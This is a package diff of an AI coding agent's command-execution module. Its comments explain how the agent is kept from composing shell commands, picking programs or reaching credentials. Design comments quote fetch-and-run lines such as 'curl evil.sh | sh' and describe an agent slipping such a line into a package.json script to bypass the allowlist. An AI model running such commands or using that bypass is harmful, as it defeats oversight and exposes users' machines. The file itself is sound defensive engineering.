acuvo-code 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/CHANGELOG.md +328 -0
  2. package/ENTERPRISE.md +927 -0
  3. package/LICENSE +120 -0
  4. package/README.md +1245 -0
  5. package/ROADMAP.md +556 -0
  6. package/bin/acuvo-mcp.mjs +208 -0
  7. package/bin/acuvo.mjs +3108 -0
  8. package/lib/acceptance-consent.mjs +168 -0
  9. package/lib/acceptance.mjs +859 -0
  10. package/lib/account.mjs +226 -0
  11. package/lib/acuvo-dir.mjs +72 -0
  12. package/lib/acuvo-models.mjs +141 -0
  13. package/lib/apply-patch.mjs +570 -0
  14. package/lib/ask-user.mjs +173 -0
  15. package/lib/audit.mjs +530 -0
  16. package/lib/auto-lease.mjs +174 -0
  17. package/lib/background.mjs +842 -0
  18. package/lib/best-of.mjs +334 -0
  19. package/lib/board.mjs +232 -0
  20. package/lib/breaker.mjs +93 -0
  21. package/lib/budget.mjs +1375 -0
  22. package/lib/builtin-skills.mjs +135 -0
  23. package/lib/cache-floor.mjs +204 -0
  24. package/lib/chain.mjs +303 -0
  25. package/lib/changed-paths.mjs +84 -0
  26. package/lib/chat.mjs +434 -0
  27. package/lib/checkpoint.mjs +637 -0
  28. package/lib/child-lifetime.mjs +71 -0
  29. package/lib/cli-args.mjs +1255 -0
  30. package/lib/code-review.mjs +1382 -0
  31. package/lib/colour.mjs +82 -0
  32. package/lib/command.mjs +2847 -0
  33. package/lib/compact.mjs +1151 -0
  34. package/lib/completion.mjs +515 -0
  35. package/lib/creative-engines.mjs +779 -0
  36. package/lib/db-inspect.mjs +1624 -0
  37. package/lib/delete.mjs +111 -0
  38. package/lib/design-loop.mjs +570 -0
  39. package/lib/diff-preview.mjs +1044 -0
  40. package/lib/doctor.mjs +2139 -0
  41. package/lib/dropped.mjs +216 -0
  42. package/lib/edit-diagnostics.mjs +277 -0
  43. package/lib/edit.mjs +460 -0
  44. package/lib/env-file.mjs +250 -0
  45. package/lib/escalate.mjs +702 -0
  46. package/lib/evaluate.mjs +284 -0
  47. package/lib/fetch-text.mjs +952 -0
  48. package/lib/fleet-budget.mjs +256 -0
  49. package/lib/gh.mjs +1536 -0
  50. package/lib/git.mjs +1341 -0
  51. package/lib/github.mjs +261 -0
  52. package/lib/h2.mjs +194 -0
  53. package/lib/handoff.mjs +417 -0
  54. package/lib/hooks.mjs +626 -0
  55. package/lib/http-probe.mjs +907 -0
  56. package/lib/image-director.mjs +322 -0
  57. package/lib/image-edit.mjs +522 -0
  58. package/lib/imagegen.mjs +998 -0
  59. package/lib/interrupt.mjs +234 -0
  60. package/lib/learned.mjs +353 -0
  61. package/lib/lease-watch.mjs +115 -0
  62. package/lib/lease.mjs +868 -0
  63. package/lib/localize.mjs +834 -0
  64. package/lib/log-tail.mjs +1052 -0
  65. package/lib/login.mjs +157 -0
  66. package/lib/lsp.mjs +1613 -0
  67. package/lib/mcp-consent.mjs +377 -0
  68. package/lib/mcp-defaults.mjs +780 -0
  69. package/lib/mcp-server.mjs +1343 -0
  70. package/lib/mcp.mjs +1263 -0
  71. package/lib/media.mjs +1283 -0
  72. package/lib/memory-workspace.mjs +179 -0
  73. package/lib/model-json.mjs +132 -0
  74. package/lib/model-tier.mjs +171 -0
  75. package/lib/model.mjs +1445 -0
  76. package/lib/parallel.mjs +144 -0
  77. package/lib/perchance.mjs +210 -0
  78. package/lib/plan-coherence.mjs +1461 -0
  79. package/lib/plan-ledger.mjs +981 -0
  80. package/lib/plan.mjs +461 -0
  81. package/lib/policy.mjs +783 -0
  82. package/lib/prefix-order.mjs +38 -0
  83. package/lib/project-memory.mjs +127 -0
  84. package/lib/prompt.mjs +109 -0
  85. package/lib/python.mjs +862 -0
  86. package/lib/rcfile.mjs +853 -0
  87. package/lib/read-window.mjs +743 -0
  88. package/lib/refute-tools.mjs +34 -0
  89. package/lib/refute.mjs +806 -0
  90. package/lib/repl-driver.mjs +264 -0
  91. package/lib/repl.mjs +324 -0
  92. package/lib/replay.mjs +1218 -0
  93. package/lib/repo-map.mjs +1101 -0
  94. package/lib/report.mjs +419 -0
  95. package/lib/search-rank.mjs +99 -0
  96. package/lib/search.mjs +659 -0
  97. package/lib/secret-paths.mjs +54 -0
  98. package/lib/session.mjs +1017 -0
  99. package/lib/skills.mjs +703 -0
  100. package/lib/slash.mjs +356 -0
  101. package/lib/spawn-argv.mjs +1151 -0
  102. package/lib/spend.mjs +250 -0
  103. package/lib/steer.mjs +280 -0
  104. package/lib/stream.mjs +253 -0
  105. package/lib/stuck.mjs +712 -0
  106. package/lib/subagent.mjs +749 -0
  107. package/lib/terminal-graphics.mjs +171 -0
  108. package/lib/tool-prefix.mjs +226 -0
  109. package/lib/tool-shortlist.mjs +162 -0
  110. package/lib/tools.mjs +2333 -0
  111. package/lib/tsserver.mjs +423 -0
  112. package/lib/turn.mjs +5672 -0
  113. package/lib/untrusted-block.mjs +271 -0
  114. package/lib/verify-claim.mjs +299 -0
  115. package/lib/vision.mjs +330 -0
  116. package/lib/voice-task.mjs +561 -0
  117. package/lib/warm-provider.mjs +255 -0
  118. package/lib/websearch.mjs +401 -0
  119. package/lib/workspace.mjs +928 -0
  120. package/lib/write-approval.mjs +235 -0
  121. package/lib/write-many.mjs +162 -0
  122. package/package.json +62 -0
  123. package/scripts/bundle.mjs +768 -0
  124. package/scripts/cache-floor.mjs +176 -0
  125. package/scripts/machine.mjs +226 -0
  126. package/scripts/test.mjs +139 -0
  127. package/skills/accessibility.md +87 -0
  128. package/skills/acuvo-design-system.md +123 -0
  129. package/skills/animation.md +84 -0
  130. package/skills/api-design.md +82 -0
  131. package/skills/auth-and-sessions.md +78 -0
  132. package/skills/build-with-a-framework.md +101 -0
  133. package/skills/colour-and-contrast.md +112 -0
  134. package/skills/creative-engines.md +81 -0
  135. package/skills/css-layout.md +85 -0
  136. package/skills/data-and-charts.md +77 -0
  137. package/skills/debugging.md +76 -0
  138. package/skills/designing-by-looking.md +84 -0
  139. package/skills/error-handling.md +78 -0
  140. package/skills/forms-and-validation.md +93 -0
  141. package/skills/nextjs-app-router.md +75 -0
  142. package/skills/page-composition.md +103 -0
  143. package/skills/performance.md +77 -0
  144. package/skills/plan-before-building.md +52 -0
  145. package/skills/planning-and-delegating.md +72 -0
  146. package/skills/refactoring.md +70 -0
  147. package/skills/security-basics.md +76 -0
  148. package/skills/state-management.md +73 -0
  149. package/skills/supabase-multitenant.md +72 -0
  150. package/skills/typescript-strict.md +90 -0
  151. package/skills/typography.md +135 -0
  152. package/skills/verify-your-own-work.md +62 -0
  153. package/skills/web-app-quality.md +62 -0
  154. package/skills/working-in-the-background.md +64 -0
@@ -0,0 +1,2847 @@
1
+ /**
2
+ * RUN_COMMAND — the tool that turns "writes code" into "ships working code",
3
+ * and the single most dangerous line in this package.
4
+ *
5
+ * ── ⚠️ WHAT THIS ALLOWLIST ACTUALLY BUYS, STATED HONESTLY ───────────────────
6
+ * It is tempting to describe this file as a sandbox. It is not one, and saying
7
+ * so would be the exact dishonesty the rest of the package is built to avoid.
8
+ * `node src/thing.js`, where a language model wrote `src/thing.js` thirty
9
+ * seconds ago, IS arbitrary code execution — by construction, and unavoidably,
10
+ * because running the code is the entire point of a run-and-fix loop.
11
+ *
12
+ * So here is the real boundary, in the order it matters:
13
+ *
14
+ * 1. THE AGENT CANNOT COMPOSE A COMMAND. No shell is ever involved
15
+ * (`shell: false`, always), and on top of that every shell metacharacter
16
+ * is refused by a CHARACTER WHITELIST — so `npm test && curl evil.sh | sh`
17
+ * dies at the `&`, not at some blacklist of program names. `$(...)`,
18
+ * backticks, `;`, `>`, newlines and quotes die the same way.
19
+ * 2. THE AGENT CANNOT PICK A PROGRAM. Four binaries by default, named here.
20
+ * `rm`, `curl`, `git`, `powershell`, `pip` and every other executable on
21
+ * the machine are simply not reachable — there is no path from a model
22
+ * string to `spawn` of anything except node, npm, npx and tsc.
23
+ *
24
+ * ⚠️ AND THE ONE WAY THAT LIST CHANGES, STATED HERE SO NOBODY HAS TO FIND
25
+ * IT: a HUMAN may add ecosystems — `pytest`, `go`, `cargo`, `rspec`,
26
+ * `make`, workspace `eslint` — through `.acuvo/commands.json` or
27
+ * `ACUVO_ALLOW_COMMANDS`. Nothing is added by default; a user who writes no
28
+ * configuration gets exactly the four. Every added binary goes through the
29
+ * SAME character whitelist, the SAME flag whitelist, the SAME workspace
30
+ * path rule and the SAME environment scrub. The workspace file can only
31
+ * pick from a vetted menu of build-and-test drivers, because the agent can
32
+ * write that file; an arbitrary program name is admin-only. **A shell is
33
+ * refused at every layer, including the admin one** — a shell returns
34
+ * promise (1), which every other guard here is built on top of. See
35
+ * `COMMAND_PRESETS` for the full argument, including what enabling a
36
+ * preset does NOT buy: `make` still reads a Makefile the agent can write,
37
+ * and that is documented rather than pretended away.
38
+ * 3. THE ARGUMENTS ARE CHECKED, NOT JUST THE BINARY. `node --eval` and
39
+ * `npx <anything-from-the-registry>` are the two obvious escapes and both
40
+ * are closed; every non-flag token must pass the SAME workspace path rule
41
+ * the file tools use, so `node ../../../etc/thing.js` never runs.
42
+ * 4. THE CREDENTIALS LEAVE THE ROOM. The child gets a scrubbed environment,
43
+ * because step 1–3 still leave a process that can `fetch()`, and the
44
+ * cheapest catastrophe available to a coding agent is reading your API
45
+ * keys out of `process.env` and posting them somewhere.
46
+ * 5. IT IS BOUNDED AND VISIBLE. One command, one timeout, capped output,
47
+ * cwd pinned to the workspace, and every single thing it ran is printed.
48
+ *
49
+ * ⚠️ AND THE HOLE THAT IS *NOT* CLOSED, NAMED RATHER THAN HIDDEN: the code the
50
+ * command runs can do anything Node can do, including writing outside the
51
+ * workspace. The mitigation is not a technical one — it is that the code is ON
52
+ * DISK, was written by tools that could not leave the workspace, and is shown
53
+ * to you. `--dry-run` refuses to run anything at all, which is the escape hatch
54
+ * for a task you do not trust yet.
55
+ *
56
+ * ── THE TRAP THAT MAKES THIS MORE THAN A LIST OF BINARY NAMES ───────────────
57
+ * `npm test` is on the allowlist. `npm test` runs whatever `package.json` says
58
+ * — and `package.json` is a file THIS AGENT CAN WRITE. An allowlist that stops
59
+ * at the word "npm" therefore allows `{"scripts":{"test":"curl evil.sh | sh"}}`
60
+ * followed by `npm test`, which is a full bypass in two tool calls that both
61
+ * look innocent. So the script BODY is read and validated through the same
62
+ * rules before npm is spawned, and so are its `pre`/`post` hooks, which npm
63
+ * runs without being asked.
64
+ */
65
+
66
+ import { spawn } from 'node:child_process';
67
+ import { existsSync } from 'node:fs';
68
+ import { dirname, join } from 'node:path';
69
+
70
+ import { normalizeRelativePath } from './workspace.mjs';
71
+ /**
72
+ * ── ⭐⭐⭐ THE PYTHON GRAMMAR, WHICH WAS WRITTEN AND THEN IMPORTED BY NOBODY ──
73
+ *
74
+ * `lib/python.mjs` is 862 lines, complete, tested, and was reachable from no
75
+ * entry point — `wiring-reach.test.mjs` had been failing on it, saying exactly
76
+ * what that means: *"a capability nobody can reach has not shipped."*
77
+ *
78
+ * Its own header states the measurement that produced it: on the 13-task bench
79
+ * the ONE failure was a Python task, and it did not fail on reasoning. The model
80
+ * fixed the bug correctly, went to run `pytest`, and `pytest -q` was refused.
81
+ * *"A coding agent that can only run JavaScript is a JavaScript agent with a
82
+ * coding agent's marketing."*
83
+ *
84
+ * ⭐ AND THE PRESET BELOW WAS NOT A SMALLER VERSION OF IT — IT WAS WRONG.
85
+ * `PYTHON_GRAMMAR` validated everything after `-m` against the INTERPRETER's
86
+ * flag list, but CPython stops parsing its own options at `-m`: everything after
87
+ * the module name belongs to the MODULE. So `python -m pytest -q` — the single
88
+ * most typed command in Python testing, and the exact one the bench needed — was
89
+ * refused with "-q is not an allowed python flag", which is the worst class of
90
+ * guard there is: one that refuses correct work with a message that reads like a
91
+ * rule.
92
+ */
93
+ import { PYTHON_PRESET_GRAMMAR, validatePythonArgv } from './python.mjs';
94
+
95
+ /** A command longer than this is not a command, it is a program. */
96
+ export const MAX_COMMAND_LENGTH = 240;
97
+ export const MAX_COMMAND_TOKENS = 16;
98
+ /** Long enough for a real test suite on a cold cache, short enough that a hung
99
+ * watcher costs a minute rather than a session. */
100
+ export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000;
101
+ export const MAX_COMMAND_TIMEOUT_MS = 600_000;
102
+ /** Per stream, per run. Test output is unbounded and the model pays per token. */
103
+ export const MAX_CAPTURED_CHARS = 8_000;
104
+ /**
105
+ * ⚠️ HOW LONG WE WAIT FOR THE PIPES AFTER THE PROCESS IS ALREADY GONE.
106
+ *
107
+ * Not a second timeout — a settle window. See `spawnBounded`: `close` needs EOF
108
+ * on the captured pipes as well as process exit, and a surviving descendant can
109
+ * withhold that EOF forever. This is how long we give the normal, correct settle
110
+ * to arrive before we return what we have anyway. Short enough to be invisible
111
+ * on a healthy run (where `close` beats it by microseconds), long enough that a
112
+ * killed test runner's last few lines still make it into the result.
113
+ */
114
+ export const TIMEOUT_SETTLE_GRACE_MS = 750;
115
+
116
+ /**
117
+ * The four. Not a starting point — a decision, and it is the DEFAULT surface:
118
+ * what a user who has written no configuration gets.
119
+ *
120
+ * ⚠️ IT DOES NOT GROW. Every other ecosystem below is shipped as an OFF-by-
121
+ * default preset, and the reason is a concrete property of these four rather
122
+ * than a preference: **none of them resolves through `PATH`.** `node` is
123
+ * `process.execPath` — the interpreter already running this process. `npm` and
124
+ * `npx` are JavaScript files found next to that binary. `tsc` is a file inside
125
+ * the workspace's own `node_modules`. A `python` or a `make` cannot be found
126
+ * that way; it is whatever `PATH` says it is on the day the command runs, which
127
+ * is a materially weaker statement, and it is the human's to make, not ours.
128
+ */
129
+ export const ALLOWED_BINARIES = ['node', 'npm', 'npx', 'tsc'];
130
+
131
+ /**
132
+ * ── ⚠️⭐ `--shell`: THE CEILING, AND WHAT IT COSTS TO RAISE IT ──────────────
133
+ *
134
+ * MEASURED, not assumed: the allowlist is this agent's benchmark ceiling. On
135
+ * our own `polyglot` bench task it fixed a Python bug correctly, then could not
136
+ * run `pytest`, and — correctly — **did not grant itself permission**. It
137
+ * verified another way and stopped. Terminal-Bench is largely made of tasks
138
+ * shaped exactly like that, so with the allowlist alone most of it is
139
+ * unreachable by construction, however good the loop is.
140
+ *
141
+ * ⭐ SO THE SHELL IS OPT-IN AND THE LOCKED DEFAULT SURVIVES INTACT. That is the
142
+ * whole point of the flag: "it can only run node, npm, npx and tsc" stays TRUE
143
+ * of the default install, so the sentence we sell to an enterprise is still a
144
+ * fact rather than a fact-with-an-asterisk. Someone who needs the rest opts in
145
+ * per run, deliberately, and sees it said back to them.
146
+ *
147
+ * ⚠️ WHAT IT REALLY MEANS, WRITTEN PLAINLY: with `--shell` this agent can run
148
+ * ANY program on the machine, with the caller's own privileges. `rm -rf`, curl,
149
+ * ssh, a package install, an outbound POST of the entire workspace. There is no
150
+ * clever middle setting, and pretending otherwise is worse than the risk: a
151
+ * blocklist of "dangerous" patterns would be trivially bypassable and would
152
+ * teach the operator that the mode is safer than it is.
153
+ *
154
+ * ⚠️ THE GUARANTEES THAT DO SURVIVE, because they cost nothing to keep:
155
+ * · cwd is the workspace · the API key is still scrubbed from the child env
156
+ * · the timeout still fires and still kills the whole process TREE
157
+ * · every command is still written to the audit log, before it runs
158
+ * What is gone is the allowlist and the metacharacter ban. Nothing else.
159
+ */
160
+ export const SHELL_MAX_COMMAND_LENGTH = 4_000;
161
+
162
+ /**
163
+ * Build the argv that hands a command line to the platform's shell.
164
+ *
165
+ * ⚠️ THE SHELL IS INVOKED AS A PROGRAM, RATHER THAN VIA `shell: true`. Node's
166
+ * `shell: true` composes the command line itself and would put a second layer
167
+ * of quoting between the model's text and the shell — and on Windows it also
168
+ * loses the process-group handle the tree-kill depends on. Spawning
169
+ * `sh -c <command>` keeps `spawnBounded` byte-for-byte as it is, so the
170
+ * timeout, the tree kill, the env scrub and the output caps all still apply.
171
+ */
172
+ export function buildShellInvocation(command, { platform = process.platform, env = process.env } = {}) {
173
+ const line = String(command ?? '').trim();
174
+ if (!line) return { ok: false, error: 'run_command needs a command to run' };
175
+ if (line.length > SHELL_MAX_COMMAND_LENGTH) {
176
+ return { ok: false, error: `that command is ${line.length} characters; the limit is ${SHELL_MAX_COMMAND_LENGTH}. Put a long pipeline in a script file and run the file.` };
177
+ }
178
+ if (platform === 'win32') {
179
+ /**
180
+ * ⚠️ `/d` DISABLES AutoRun. Without it, cmd.exe executes whatever is in
181
+ * `HKCU\\Software\\Microsoft\\Command Processor\\AutoRun` BEFORE our command
182
+ * — someone else's script running inside what the audit log records as ours.
183
+ */
184
+ return { ok: true, file: env.ComSpec || 'cmd.exe', args: ['/d', '/s', '/c', line] };
185
+ }
186
+ return { ok: true, file: env.SHELL && /(^|\/)(ba|z|)sh$/.test(env.SHELL) ? env.SHELL : '/bin/sh', args: ['-c', line] };
187
+ }
188
+
189
+ /**
190
+ * ── ⭐⭐ THE POLYGLOT PRESETS — WHAT THIS SOLVES AND WHAT IT REFUSES TO ──────
191
+ *
192
+ * `ENTERPRISE.md` §5.1 states the defect in the vendor's own words: a Python,
193
+ * Go, Rust, Java or Ruby shop "cannot execute a single test with this tool",
194
+ * so the run→fix loop — the entire product — degrades to "writes files and
195
+ * cannot check them". That is not a missing nicety. It is the loop being
196
+ * unavailable to most of the world's repositories.
197
+ *
198
+ * ── ⚠️ THE QUESTION THAT DECIDES THE DESIGN: WHAT WAS THE BOUNDARY, REALLY? ─
199
+ *
200
+ * The header above already concedes the big one: `node src/thing.js`, where a
201
+ * model wrote `src/thing.js` thirty seconds ago, IS arbitrary code execution.
202
+ * So the boundary was never "the agent cannot execute code". It is three
203
+ * narrower promises, and they are the ones that must survive:
204
+ *
205
+ * 1. the agent cannot COMPOSE a command (no shell, character whitelist)
206
+ * 2. the agent cannot PICK a program (a list a human agreed to)
207
+ * 3. the agent cannot reach a CREDENTIAL (the environment scrub)
208
+ *
209
+ * A preset extends (2) — from four programs to a menu of build-and-test drivers
210
+ * — and touches neither (1) nor (3). That is why adding `pytest` is a different
211
+ * act from adding `bash`: `bash` hands back (1), which is the promise every
212
+ * other guard in this file is written on top of. So a shell is refused even to
213
+ * an administrator, and that refusal is the one hard line here.
214
+ *
215
+ * ── ⚠️⚠️ THE TRAP, NAMED RATHER THAN PAPERED OVER ──────────────────────────
216
+ *
217
+ * `make` reads a Makefile the agent can write. `pytest` imports a `conftest.py`
218
+ * the agent can write. `cargo test` compiles a `build.rs` the agent can write.
219
+ * `go test` will fetch and compile modules. **None of these is validated, and
220
+ * none of them can be honestly validated by this file.**
221
+ *
222
+ * The npm gate below is possible for one reason: a `package.json` script body
223
+ * is a single command string in a machine-readable field, so it can be run back
224
+ * through the same validator. A Makefile recipe is *shell*. Validating it means
225
+ * writing a shell parser, and a partial shell parser that waves through what it
226
+ * does not understand is exactly the thing this file already refuses to build
227
+ * (see `ALLOWED_SCRIPT_BINARIES` on why npm→npm chains are refused rather than
228
+ * followed). So the honest position, written down rather than implied:
229
+ *
230
+ * **Enabling a preset does not weaken the boundary, because the boundary was
231
+ * never "the agent cannot run code it wrote" — `node <file>` already grants
232
+ * that, on the default surface, to every user. What a preset grants is one
233
+ * more INTERPRETER for code that is already on disk and already reviewable.**
234
+ *
235
+ * ⭐ And the mitigation is unchanged and real: the code is ON DISK, it was
236
+ * written by tools that could not leave the workspace, it is shown to you, and
237
+ * `--dry-run` refuses to execute anything at all.
238
+ *
239
+ * ⚠️ WHAT IS DELIBERATELY NOT ON THE MENU, and why each is a different class:
240
+ * · shells (`bash`, `sh`, `cmd`, `powershell`) — they return promise (1).
241
+ * · package installers (`pip install`, `bundle install`, `cargo install`,
242
+ * `go install`) — they fetch a stranger's code and run its build hooks,
243
+ * which is the same refusal `npm install` already gets, for the same reason.
244
+ * · anything whose argument grammar we cannot state. An ungoverned binary is
245
+ * not on the menu; see the `grammar` map — a preset binary with no spec is
246
+ * a test failure, not a silent pass.
247
+ */
248
+
249
+ /**
250
+ * A grammar for one binary. Every field is the SAME shape the existing four are
251
+ * validated with, so a preset binary is not checked by a second, laxer path.
252
+ *
253
+ * @typedef {{
254
+ * flags?: Set<string>,
255
+ * valueFlags?: Set<string>,
256
+ * separateValueFlags?: Map<string, Set<string> | RegExp>,
257
+ * refused?: Map<string, string>,
258
+ * subcommands?: Set<string> | null,
259
+ * refusedSubcommands?: Map<string, string>,
260
+ * packagePatterns?: boolean,
261
+ * delegates?: boolean,
262
+ * resolve?: 'path' | 'node-module',
263
+ * nodeModule?: string[],
264
+ * }} BinaryGrammar
265
+ */
266
+
267
+ const WATCHER_REASON = 'a watcher never exits, so it would spend the whole timeout and return nothing';
268
+ const EVAL_REASON = 'code passed on the command line is never written to disk, so nothing it did can be reviewed afterwards';
269
+ const INTERACTIVE_REASON = 'an interactive prompt never exits, so it would spend the whole timeout and return nothing';
270
+ const REGISTRY_REASON = 'it downloads and executes code from a package registry, which is the one thing an allowlist of programs cannot check';
271
+
272
+ /**
273
+ * ⚠️ `python` AND `python3` ARE THE SAME PROGRAM WITH TWO NAMES, and giving one
274
+ * of them a grammar and the other nothing is how an "allowed" binary ends up
275
+ * accepting no arguments at all. Caught by a test on the first run: `python3 -V`
276
+ * was refused with "allowed: " and an empty list, which is a defect that reads
277
+ * like a rule.
278
+ */
279
+ const PYTHON_GRAMMAR = {
280
+ flags: new Set(['-V', '--version', '-B', '-u', '-W', '-O']),
281
+ separateValueFlags: new Map([['-m', new Set(['pytest', 'unittest', 'compileall', 'json.tool'])]]),
282
+ refused: new Map([
283
+ ['-c', EVAL_REASON],
284
+ ['-i', INTERACTIVE_REASON],
285
+ ['-', 'a lone "-" reads the program from stdin, which is code that never touches disk'],
286
+ ]),
287
+ resolve: 'path',
288
+ };
289
+
290
+ /** @type {Record<string, { describe: string, binaries: string[], grammar: Record<string, BinaryGrammar> }>} */
291
+ export const COMMAND_PRESETS = {
292
+ /**
293
+ * ⭐ EVERY PYTHON BINARY DELEGATES TO `validatePythonArgv`, and the marker is
294
+ * `pythonic`. The generic `validateOperands` cannot express "argument
295
+ * authority transfers at `-m`" — that is not a flag it is missing, it is a
296
+ * shape it has no way to describe — so the dispatcher routes these binaries
297
+ * to the grammar written for them.
298
+ *
299
+ * ⚠️ `py` IS NEW AND IT IS NOT COSMETIC. On Windows, the platform this package
300
+ * is developed on, python.org's installer puts `py.exe` on PATH and often does
301
+ * not put `python.exe` there at all. Refusing `py` was refusing Python on the
302
+ * developer's own laptop.
303
+ */
304
+ python: {
305
+ describe: PYTHON_PRESET_GRAMMAR.describe,
306
+ binaries: [...PYTHON_PRESET_GRAMMAR.binaries],
307
+ grammar: Object.fromEntries(
308
+ PYTHON_PRESET_GRAMMAR.binaries.map((bin) => [bin, { pythonic: true, resolve: 'path' }]),
309
+ ),
310
+ },
311
+ go: {
312
+ describe: 'the Go toolchain — `go test ./...`, `go build ./...`, `go vet ./...`',
313
+ binaries: ['go'],
314
+ grammar: {
315
+ go: {
316
+ subcommands: new Set(['test', 'build', 'vet', 'fmt', 'version']),
317
+ refusedSubcommands: new Map([
318
+ ['install', REGISTRY_REASON],
319
+ ['get', REGISTRY_REASON],
320
+ ['run', 'use `go build` then run the binary, so what executed is a file on disk you can look at'],
321
+ ['generate', 'it executes directives written in source comments, which is a second command layer this validator cannot see'],
322
+ ]),
323
+ flags: new Set(['-v', '-race', '-short', '-json', '-cover', '-count=1', '-n']),
324
+ valueFlags: new Set(['-run', '-count', '-timeout', '-tags', '-o', '-bench']),
325
+ separateValueFlags: new Map([['-run', /^[A-Za-z0-9_/^$|.*?()-]+$/], ['-timeout', /^[0-9]+[smh]?$/], ['-count', /^[0-9]+$/]]),
326
+ packagePatterns: true,
327
+ resolve: 'path',
328
+ },
329
+ },
330
+ },
331
+ rust: {
332
+ describe: 'Cargo — `cargo test`, `cargo build --release`, `cargo clippy`',
333
+ binaries: ['cargo'],
334
+ grammar: {
335
+ cargo: {
336
+ subcommands: new Set(['test', 'build', 'check', 'clippy', 'fmt', 'bench', 'version']),
337
+ refusedSubcommands: new Map([
338
+ ['install', REGISTRY_REASON],
339
+ ['add', REGISTRY_REASON],
340
+ ['publish', 'it uploads this crate to a public registry, which is not a step an agent takes unattended'],
341
+ ['watch', WATCHER_REASON],
342
+ ['run', 'use `cargo build` then run the binary, so what executed is a file on disk you can look at'],
343
+ ]),
344
+ flags: new Set(['--release', '--quiet', '-q', '--all-features', '--no-default-features', '--lib', '--bins', '--tests', '--all-targets', '--workspace', '--locked', '--offline', '--verbose']),
345
+ valueFlags: new Set(['--package', '--manifest-path', '--target', '--features', '--test', '--bin']),
346
+ separateValueFlags: new Map([['--package', /^[A-Za-z0-9_-]+$/], ['-p', /^[A-Za-z0-9_-]+$/]]),
347
+ resolve: 'path',
348
+ },
349
+ },
350
+ },
351
+ ruby: {
352
+ describe: 'Ruby, RSpec and `bundle exec` — `rspec`, `ruby test/run.rb`',
353
+ binaries: ['ruby', 'rspec', 'bundle'],
354
+ grammar: {
355
+ ruby: {
356
+ flags: new Set(['-v', '--version', '-w', '--verbose']),
357
+ refused: new Map([
358
+ ['-e', EVAL_REASON],
359
+ ['-r', '--require preloads a module the command does not name; write a file and run it instead'],
360
+ ['--require', '--require preloads a module the command does not name; write a file and run it instead'],
361
+ ['-n', 'the implicit loop wraps your script in code that is not in the file'],
362
+ ]),
363
+ resolve: 'path',
364
+ },
365
+ rspec: {
366
+ flags: new Set(['--no-color', '--fail-fast', '--dry-run', '--backtrace', '-b']),
367
+ valueFlags: new Set(['--format', '-f', '--out', '--seed', '--example', '-e', '--tag', '-t']),
368
+ separateValueFlags: new Map([['--format', /^[A-Za-z0-9_.:-]+$/], ['-f', /^[A-Za-z0-9_.:-]+$/]]),
369
+ resolve: 'path',
370
+ },
371
+ bundle: {
372
+ subcommands: new Set(['exec']),
373
+ refusedSubcommands: new Map([
374
+ ['install', REGISTRY_REASON],
375
+ ['update', REGISTRY_REASON],
376
+ ['add', REGISTRY_REASON],
377
+ ['console', INTERACTIVE_REASON],
378
+ ]),
379
+ /** ⭐ `bundle exec <x>` delegates the program choice, so `<x>` is put
380
+ * back through the allowlist rather than trusted. */
381
+ delegates: true,
382
+ resolve: 'path',
383
+ },
384
+ },
385
+ },
386
+ make: {
387
+ describe: 'GNU make — `make test`. ⚠️ The Makefile is not validated; see the header',
388
+ binaries: ['make'],
389
+ grammar: {
390
+ make: {
391
+ flags: new Set(['-n', '--dry-run', '-B', '--always-make', '-k', '-s', '--silent', '-i', '--version']),
392
+ valueFlags: new Set(['-j', '--jobs', '-f', '--file']),
393
+ separateValueFlags: new Map([['-j', /^[0-9]+$/], ['--jobs', /^[0-9]+$/]]),
394
+ refused: new Map([
395
+ ['-C', 'it moves make out of the workspace, which is the one thing the pinned cwd exists to prevent'],
396
+ ['--directory', 'it moves make out of the workspace, which is the one thing the pinned cwd exists to prevent'],
397
+ ['-w', WATCHER_REASON],
398
+ ]),
399
+ resolve: 'path',
400
+ },
401
+ },
402
+ },
403
+ 'node-bin': {
404
+ describe: 'linters and runners from THIS workspace\'s node_modules — eslint, prettier, jest',
405
+ binaries: ['eslint', 'prettier', 'jest'],
406
+ grammar: {
407
+ eslint: {
408
+ flags: new Set(['--fix', '--quiet', '--no-color', '--no-eslintrc', '--cache', '--max-warnings=0']),
409
+ valueFlags: new Set(['--format', '-f', '--ext', '--config', '-c', '--max-warnings']),
410
+ separateValueFlags: new Map([['--format', /^[A-Za-z0-9_.-]+$/], ['--max-warnings', /^[0-9]+$/]]),
411
+ resolve: 'node-module',
412
+ nodeModule: ['node_modules/eslint/bin/eslint.js'],
413
+ },
414
+ prettier: {
415
+ flags: new Set(['--check', '-c', '--write', '-w', '--no-color', '--list-different', '-l']),
416
+ valueFlags: new Set(['--config', '--parser', '--log-level']),
417
+ resolve: 'node-module',
418
+ nodeModule: ['node_modules/prettier/bin/prettier.cjs', 'node_modules/prettier/bin-prettier.js', 'node_modules/prettier/bin/prettier.js'],
419
+ },
420
+ jest: {
421
+ flags: new Set(['--ci', '--silent', '--no-color', '--runInBand', '-i', '--coverage', '--passWithNoTests']),
422
+ valueFlags: new Set(['--testPathPattern', '--testNamePattern', '-t', '--maxWorkers', '--reporters']),
423
+ separateValueFlags: new Map([['-t', /^[A-Za-z0-9_.:*?-]+$/]]),
424
+ refused: new Map([['--watch', WATCHER_REASON], ['--watchAll', WATCHER_REASON]]),
425
+ resolve: 'node-module',
426
+ nodeModule: ['node_modules/jest/bin/jest.js'],
427
+ },
428
+ },
429
+ },
430
+ };
431
+
432
+ export const PRESET_NAMES = Object.freeze(Object.keys(COMMAND_PRESETS));
433
+
434
+ /**
435
+ * ⚠️⚠️ THE ONE HARD LINE, AND IT APPLIES TO THE ADMINISTRATOR TOO.
436
+ *
437
+ * Promise (1) — "the agent cannot compose a command" — is what every other
438
+ * guard in this file is built on. A shell hands it straight back: one allowed
439
+ * binary and the character whitelist is decoration, because the shell parses
440
+ * the string we so carefully refused to let anyone parse. There is no
441
+ * configuration that turns it on. An organisation that wants a shell wants a
442
+ * different tool, and saying so is more honest than a flag that quietly voids
443
+ * the security section of the README.
444
+ */
445
+ const NEVER_ALLOWED_BINARIES = new Set([
446
+ 'bash', 'sh', 'zsh', 'ksh', 'dash', 'fish', 'csh', 'tcsh',
447
+ 'cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'pwsh', 'command.com',
448
+ 'env', 'xargs', 'eval', 'exec', 'nohup', 'setsid', 'start',
449
+ ]);
450
+
451
+ /** Where a project opts itself in. Same `.acuvo/` directory as `policy.json`. */
452
+ export const COMMANDS_CONFIG_FILE = '.acuvo/commands.json';
453
